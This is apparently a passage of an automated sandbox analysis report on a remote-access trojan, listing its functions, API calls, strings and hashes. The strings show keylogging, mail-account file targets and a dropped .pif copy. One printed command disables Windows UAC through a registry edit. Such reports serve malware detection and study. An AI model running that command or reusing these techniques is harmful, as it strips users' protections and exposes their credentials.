Instruction Fuzzy Hash: 2651F876A10216AFEF158F64CC40EAB37A9EF61668F394628FD04D7180EB75EC90C660

Uniqueness

Uniqueness Score: -1.00%

Function 005D66DB Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 005D6707
__cftoe.LIBCMT ref: 005D6739

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 9a4a9018df91bb80547d8cd227be064c11647db9cc7a9b7c485a3b8778a52ece
Instruction ID: 8e850cd5240ac17d7daaf059bcf3fd8a858dff02dd7d7e78d2e06c10a914949e
Opcode Fuzzy Hash: 9a4a9018df91bb80547d8cd227be064c11647db9cc7a9b7c485a3b8778a52ece
Instruction Fuzzy Hash: 81510B3290020AABDB349B6C8C45EAE7FE9FF89324F14411BF414D6381EB35DD429B64

Uniqueness

Uniqueness Score: -1.00%

Function 146415DA Relevance: 9.1, APIs: 6, Instructions: 84stringCOMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 14641607
_strcat.LIBCMT ref: 1464161D
lstrlenW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,1464190E,?,?,00000000,?,00000000), ref: 14641643
lstrcatW.KERNEL32(?,?), ref: 1464165A
lstrlenW.KERNEL32(?,?,?,?,?,1464190E,?,?,00000000,?,00000000,?,?,?,00000104,?), ref: 14641661
lstrcatW.KERNEL32(00001008,?), ref: 14641686

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: lstrcatlstrlen$_strcat_strlen
String ID:
API String ID: 1922816806-0
Opcode ID: ab85c8160180ecd86b51b90fc8233f233b916c5d49565c91f85492f2b7068f1e
Instruction ID: 9640fc86e1f352fba34186e1c2f25631fec02fbca35f30fc4280c1f8c8eb3c40
Opcode Fuzzy Hash: ab85c8160180ecd86b51b90fc8233f233b916c5d49565c91f85492f2b7068f1e
Instruction Fuzzy Hash: FC21DD36A00204EBDF05DF54EC85EEE77B8EF58718F38402AE504AB141DB34B94187A9

Uniqueness

Uniqueness Score: -1.00%

Function 14641000 Relevance: 9.1, APIs: 6, Instructions: 76stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(?,?), ref: 14641038
lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 1464104B
lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 14641061
lstrlenW.KERNEL32(?,?,?,?,?,00000000), ref: 14641075
GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 14641090
lstrlenW.KERNEL32(?,?,?,00000000), ref: 146410B8

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: lstrlen$AttributesFilelstrcat
String ID:
API String ID: 3594823470-0
Opcode ID: 3ab32203b956ba9cb1b661b3be15d3213c9449f5e62d2b922656d5ebbc7d18be
Instruction ID: b388c777dc500abc7f6cc8a4051750f014b1fc30a3edd72c92a991ae19487399
Opcode Fuzzy Hash: 3ab32203b956ba9cb1b661b3be15d3213c9449f5e62d2b922656d5ebbc7d18be
Instruction Fuzzy Hash: 47218339A00329DBCF21DF60EC4CEDB376CEF54618F244156E959971A2DE309B86CB40

Uniqueness

Uniqueness Score: -1.00%

Function 14643856 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,14643518,146423F1,14641F17), ref: 14643864
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 14643872
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 1464388B
SetLastError.KERNEL32(00000000,?,14643518,146423F1,14641F17), ref: 146438DD

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 9952ca10394c2721eb5a73118633863603bf0b73330d2d87055289d2868dd030
Instruction ID: 629da6825b375b1d8348141146e5ab9168ca07febee1d072afb25b50741d444a
Opcode Fuzzy Hash: 9952ca10394c2721eb5a73118633863603bf0b73330d2d87055289d2868dd030
Instruction Fuzzy Hash: 4601B13670A7226EFF252A79ACC4A076A5CDB35ABCB38022EF510990D1EE2158C18248

Uniqueness

Uniqueness Score: -1.00%

Function 14645AF6 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,14646C6C), ref: 14645AFA
_free.LIBCMT ref: 14645B2D
_free.LIBCMT ref: 14645B55
SetLastError.KERNEL32(00000000,?,?,14646C6C), ref: 14645B62
SetLastError.KERNEL32(00000000,?,?,14646C6C), ref: 14645B6E
_abort.LIBCMT ref: 14645B74

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 1b76eeb4b50df33d0fa3dc14a387e1e1058fa8f17b92b27cc432244fc2dbfb6c
Instruction ID: 006cab5c7c0b8b9cd27ef33af6fd73c5b2833cbc7cdf8e916c5547e83b6898f9
Opcode Fuzzy Hash: 1b76eeb4b50df33d0fa3dc14a387e1e1058fa8f17b92b27cc432244fc2dbfb6c
Instruction Fuzzy Hash: 1FF0A43A605611FBEF1326346C58E5A2A2DCBF1A6DB3C0128FB14A7A80FE3498034169

Uniqueness

Uniqueness Score: -1.00%

Function 12378215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000020,?,1236A7F5,?,?,?,1236F9A8,?,?,00000020,00000000,?,?,?,1235DD01,0000003B), ref: 12378219
_free.LIBCMT ref: 1237824C
_free.LIBCMT ref: 12378274
SetLastError.KERNEL32(00000000,1236F9A8,?,?,00000020,00000000,?,?,?,1235DD01,0000003B,?,00000041,00000000,00000000), ref: 12378281
SetLastError.KERNEL32(00000000,1236F9A8,?,?,00000020,00000000,?,?,?,1235DD01,0000003B,?,00000041,00000000,00000000), ref: 1237828D
_abort.LIBCMT ref: 12378293

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 743f54f30b9df6e59dd653045cd0daf94e86ef2d64abaef5a00871d68267c6f5
Instruction ID: 254628428d53812d1f91725ac887788409f8d2f13dde966c29bf5e30c3dbc376
Opcode Fuzzy Hash: 743f54f30b9df6e59dd653045cd0daf94e86ef2d64abaef5a00871d68267c6f5
Instruction Fuzzy Hash: 11F02D7B544B916ACF9222285C48FAB361D8FD23B2F240B24F818D2290EF3C9C02B550

Uniqueness

Uniqueness Score: -1.00%

Function 0040293C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

@__lockDebuggerData$qv.WKRRIUHD ref: 00402A6E
@__unlockDebuggerData$qv.WKRRIUHD ref: 00402B4A
RaiseException.KERNEL32(0EEFFACE,00000001,00000003,?), ref: 00402BE0

Strings

XX.CPP, xrefs: 00402B60
cctrAddr, xrefs: 00402B65

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: Data$qvDebugger$@__lock@__unlockExceptionRaise
String ID: XX.CPP$cctrAddr
API String ID: 3785177639-3056909104
Opcode ID: 9b0dcf674f86b935d2a4c104f27c6c37c2c543f1610da28e0affacaed0fd5f83
Instruction ID: dc70eccd86edc0d9cac4dc8b0ae7afb86e4c01960d635f7c74c805de0bb0e1ab
Opcode Fuzzy Hash: 9b0dcf674f86b935d2a4c104f27c6c37c2c543f1610da28e0affacaed0fd5f83
Instruction Fuzzy Hash: FF913B74A00258DFCB14DFA9D585BA9B7B1BF48308F1481BEF8486B392C779D841CB98

Uniqueness

Uniqueness Score: -1.00%

Function 005AAD96 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 176COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 005AAD9B

Strings

S~E, xrefs: 005AAD96
PG, xrefs: 005AAEAB
PG, xrefs: 005AADF8
PG, xrefs: 005AAF8F

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: S~E$PG$PG$PG
API String ID: 3519838083-2466073847
Opcode ID: 38c21b094f1b4e1a64d7b2f97ecc41d8024848913b57eda60fc2449cd9e24858
Instruction ID: 3175648e28e0643b1dc24d56847e604a8b7a4daf931bc55a90ee1b9fc0180788
Opcode Fuzzy Hash: 38c21b094f1b4e1a64d7b2f97ecc41d8024848913b57eda60fc2449cd9e24858
Instruction Fuzzy Hash: 8451AD60A4024ABBCF18FBB4CC5AAFE7F69BF95300F40402AF445AB192EF285E45C751

Uniqueness

Uniqueness Score: -1.00%

Function 0059264C Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

Part of subcall function 005C5552: __onexit.LIBCMT ref: 005C5558

__Init_thread_footer.LIBCMT ref: 005926A0

Strings

PkG, xrefs: 0059266A
XMG, xrefs: 005926E4
NG, xrefs: 005926EF
NG, xrefs: 00592772

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Init_thread_footer__onexit
String ID: PkG$XMG$NG$NG
API String ID: 1881088180-3151166067
Opcode ID: 81a4b8ea1a2a8dd188103dc24f06caf07ba89953b00c1715f800357eb9072b97
Instruction ID: 4a5d9f88e918a97b5e1376e7c42c5111c7ec6cfb422a0c58c7e074bdd15dcca3
Opcode Fuzzy Hash: 81a4b8ea1a2a8dd188103dc24f06caf07ba89953b00c1715f800357eb9072b97
Instruction Fuzzy Hash: F9419131104711ABCB24FB68DDAAAEE7B9ABBC1310F10452DF44AD61E2EF306D4AC755

Uniqueness

Uniqueness Score: -1.00%

Function 005D35E3 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

PkGNG, xrefs: 005D35E5

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID:
String ID: PkGNG
API String ID: 0-263838557
Opcode ID: 6432c744e00329bb486b15d835566ca43a09715d1a124345af01da605e15d9f5
Instruction ID: 6f14054266d56a47c19b6834d5440cb0a0620d3bba3e94929321794d2eb63cd6
Opcode Fuzzy Hash: 6432c744e00329bb486b15d835566ca43a09715d1a124345af01da605e15d9f5
Instruction Fuzzy Hash: 2841D1B2A00605BFD7349F6CCC49B6ABFA9FB88710F10856BF155DB791E671DA008B81

Uniqueness

Uniqueness Score: -1.00%

Function 1234B68A Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 1234361B: RegOpenKeyExW.ADVAPI32(80000001,00000400,00000000,00020019,?,123A50E4), ref: 1234363D
Part of subcall function 1234361B: RegQueryValueExW.ADVAPI32(?,1233F313,00000000,00000000,?,00000400), ref: 1234365C
Part of subcall function 1234361B: RegCloseKey.ADVAPI32(?), ref: 12343665

Part of subcall function 1234BFB7: GetCurrentProcess.KERNEL32(?,?,?,1233DAAA,WinDir,00000000,00000000), ref: 1234BFC8
Part of subcall function 1234BFB7: IsWow64Process.KERNEL32(00000000,?,?,1233DAAA,WinDir,00000000,00000000), ref: 1234BFCF

_wcslen.LIBCMT ref: 1234B763

Strings

http\shell\open\command, xrefs: 1234B69A
.exe, xrefs: 1234B6B5
program files (x86)\, xrefs: 1234B75D
program files\, xrefs: 1234B749, 1234B750, 1234B762

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentOpenQueryValueWow64_wcslen
String ID: .exe$http\shell\open\command$program files (x86)\$program files\
API String ID: 3286818993-4246244872
Opcode ID: a0a195e70e19f37911e2ffc13e7bcc3b4f60af3f9d3e58b5afbbb9a1a7f7d47f
Instruction ID: 4bd9d132ea1a89a84f551a5f17fa98b2471b40ff57ce4414c75c4b523805af8d
Opcode Fuzzy Hash: a0a195e70e19f37911e2ffc13e7bcc3b4f60af3f9d3e58b5afbbb9a1a7f7d47f
Instruction Fuzzy Hash: 2021AD77A002046BDF69AA748C90DFE77AD9F49325F10057DE406E7280FE29BE098360

Uniqueness

Uniqueness Score: -1.00%

Function 146411EA Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 14641E89: lstrlenW.KERNEL32(?,?,?,?,?,146410DF,?,?,?,00000000), ref: 14641E9A
Part of subcall function 14641E89: lstrcatW.KERNEL32(?,?), ref: 14641EAC
Part of subcall function 14641E89: lstrlenW.KERNEL32(?,?,146410DF,?,?,?,00000000), ref: 14641EB3
Part of subcall function 14641E89: lstrlenW.KERNEL32(?,?,146410DF,?,?,?,00000000), ref: 14641EC8
Part of subcall function 14641E89: lstrcatW.KERNEL32(?,146410DF), ref: 14641ED3

GetFileAttributesW.KERNEL32(?,?,?,?), ref: 1464122A

Part of subcall function 1464173A: _strlen.LIBCMT ref: 14641855
Part of subcall function 1464173A: _strlen.LIBCMT ref: 14641869

Strings

\Storage\, xrefs: 14641246
\Data\AccCfg\Accounts.tdat, xrefs: 1464120E
\Accounts\Account.rec0, xrefs: 1464125A
\Mail\, xrefs: 1464126D

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: lstrlen$_strlenlstrcat$AttributesFile
String ID: \Accounts\Account.rec0$\Data\AccCfg\Accounts.tdat$\Mail\$\Storage\
API String ID: 4036392271-1520055953
Opcode ID: 966d485200a2239398ebe44187cbf1bbefbb202e84cde8a8ac94b099c4be3e75
Instruction ID: dae16f3efda7ecc6530abdd17d49243dffa4c5060fc256e682acac30af85e974
Opcode Fuzzy Hash: 966d485200a2239398ebe44187cbf1bbefbb202e84cde8a8ac94b099c4be3e75
Instruction Fuzzy Hash: CE21A77DE10218ABEB109790EC85FEE7339EF50758F140556F604EB1D0EAB16E81875D

Uniqueness

Uniqueness Score: -1.00%

Function 1233B164 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 1233B172
wsprintfW.USER32 ref: 1233B1F3

Part of subcall function 1233A636: SetEvent.KERNEL32(?,?,00000000,1233B20A,00000000), ref: 1233A662

Strings

Offline Keylogger Started, xrefs: 1233B16B
[%04i/%02i/%02i %02i:%02i:%02i , xrefs: 1233B17B
], xrefs: 1233B180

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: EventLocalTimewsprintf
String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
API String ID: 1497725170-248792730
Opcode ID: bd92c863d70edc1c03bde9f74957145220356c093c788fcffcde923185aae8d8
Instruction ID: 572f19df1fc59faa4015c5f11cc6416a871ef325a5e1068b8d4ab05e8b11d4ee
Opcode Fuzzy Hash: bd92c863d70edc1c03bde9f74957145220356c093c788fcffcde923185aae8d8
Instruction Fuzzy Hash: 1911B97B400118AACB69DB94DC908FF77BCEE48312B00021EF446A6190FF38BF46C6A4

Uniqueness

Uniqueness Score: -1.00%

Function 12337755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 1233779B
CloseHandle.KERNEL32(?), ref: 123377AA
CloseHandle.KERNEL32(?), ref: 123377AF

Strings

/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 12337791
C:\Windows\System32\cmd.exe, xrefs: 12337796

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateProcess
String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
API String ID: 2922976086-4183131282
Opcode ID: 4f594107cc6cc3ddb4122109f47d6d2b27aaa1742590ee73bb47f832f5d4bb26
Instruction ID: db5f5ab50eadf6b3136fb89ae876f2904eb8e2b12477d547735d22be03a3549e
Opcode Fuzzy Hash: 4f594107cc6cc3ddb4122109f47d6d2b27aaa1742590ee73bb47f832f5d4bb26
Instruction Fuzzy Hash: A9F06DB6D401AC7ACB20AAD69C08EEF7F7CEBC2B11F00052AFA08A6144D6306100CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 12337260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON

Download Yara Rule

Strings

Rmc-W5UGP5, xrefs: 123376DA
C:\Users\Public\Libraries\wkrriuhD.pif, xrefs: 123376C4

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\Public\Libraries\wkrriuhD.pif$Rmc-W5UGP5
API String ID: 0-3420714671
Opcode ID: cd63176604227bbf103403694a5eccd81afbb280b8f62e4011ce23a92dc9dee5
Instruction ID: 4fb4225256e4544b76e7403321c8a00414b4ce6faf789d92f028006b3c6c33aa
Opcode Fuzzy Hash: cd63176604227bbf103403694a5eccd81afbb280b8f62e4011ce23a92dc9dee5
Instruction Fuzzy Hash: 41F0F0BB691261AFCA0F666448687AC3E6DA7C1783F800A3AE447DA280EB604600C751

Uniqueness

Uniqueness Score: -1.00%

Function 14644B39 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,14644AEA,?,?,14644A8A,?,14652238,0000000C,14644BBD,00000000,00000000), ref: 14644B59
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 14644B6C
FreeLibrary.KERNEL32(00000000,?,?,?,14644AEA,?,?,14644A8A,?,14652238,0000000C,14644BBD,00000000,00000000,00000001,14642082), ref: 14644B8F

Strings

CorExitProcess, xrefs: 14644B64
mscoree.dll, xrefs: 14644B52

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 23e48c31f0012cb9a96a55eba783012b9d87ecda6115084ba1d09dc950a9493d
Instruction ID: 841ca2c0d54ed72418b633bae9bf1bf6d06afa0cad186d556f9be628957f527c
Opcode Fuzzy Hash: 23e48c31f0012cb9a96a55eba783012b9d87ecda6115084ba1d09dc950a9493d
Instruction Fuzzy Hash: 73F04F31E00218BBDF219F90DC49F9DBFBDEF64659F284168F905A7250DB319942CA91

Uniqueness

Uniqueness Score: -1.00%

Function 1237333A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,123732EB,?,?,1237328B,?), ref: 1237335A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 1237336D
FreeLibrary.KERNEL32(00000000,?,?,?,123732EB,?,?,1237328B,?), ref: 12373390

Strings

mscoree.dll, xrefs: 12373353
CorExitProcess, xrefs: 12373365

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 53849b21566e00baa2081110bd72a81689ba55b1140b6ce15d8a8d0340ef6b7f
Instruction ID: 233972142650ff92259a38f1f663a9a20d4bc52eb94c199722d1cc451be79bab
Opcode Fuzzy Hash: 53849b21566e00baa2081110bd72a81689ba55b1140b6ce15d8a8d0340ef6b7f
Instruction Fuzzy Hash: 00F04475A4111CFBDF119FA0CC49BEDBFB9EF84356F114668F809AA240DB749A40DA90

Uniqueness

Uniqueness Score: -1.00%

Function 123350E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,123A4EF8,12334E7A,00000001,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?), ref: 12335120
SetEvent.KERNEL32(?,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?), ref: 1233512C
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?), ref: 12335137
CloseHandle.KERNEL32(?,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?), ref: 12335140

Part of subcall function 1234B4EF: GetLocalTime.KERNEL32(00000000), ref: 1234B509

Strings

KeepAlive | Disabled, xrefs: 123350F9

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
String ID: KeepAlive | Disabled
API String ID: 2993684571-305739064
Opcode ID: 0e21fb6f05a0b5f4f4a832a948e850018fc5b545a4e91a880d209c5fc51787a9
Instruction ID: e7de4af83b8b696824fa9212f14626e9c555d3fcaf94268b0c32588c5733a3f1
Opcode Fuzzy Hash: 0e21fb6f05a0b5f4f4a832a948e850018fc5b545a4e91a880d209c5fc51787a9
Instruction Fuzzy Hash: A0F0B4B7C543107FEF223B748D49ABE7FADAB46312F000A59F883827A1D9719951CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00407E90 Relevance: 7.8, Strings: 6, Instructions: 263COMMON

Download Yara Rule

Strings

-INF, xrefs: 00407F1D
+INF, xrefs: 00407F24
-NAN, xrefs: 00407F5D
G, xrefs: 00407F9F
+NAN, xrefs: 00407F64
(, xrefs: 00407EAC

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: ($+INF$+NAN$-INF$-NAN$G
API String ID: 0-2347845670
Opcode ID: df386413db5f5bc60be4908ccbe3db412de4ebb9e4581173f80f7e4dbf1d03c9
Instruction ID: 0041924b5d9d70f3b4af34cad832b0d938c96d2f38d4875f295b94107e5b0489
Opcode Fuzzy Hash: df386413db5f5bc60be4908ccbe3db412de4ebb9e4581173f80f7e4dbf1d03c9
Instruction Fuzzy Hash: 58816031D081959BDF228A6888C07AB3F919F56310F1941BFE8D56B3C1CA7D8D09C39B

Uniqueness

Uniqueness Score: -1.00%

Function 00408194 Relevance: 7.7, Strings: 6, Instructions: 242COMMON

Download Yara Rule

Strings

G, xrefs: 00408282
+NAN, xrefs: 00408259
-INF, xrefs: 00408229, 00408235
+INF, xrefs: 00408230
(, xrefs: 004081B2
-NAN, xrefs: 00408252, 0040825E

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
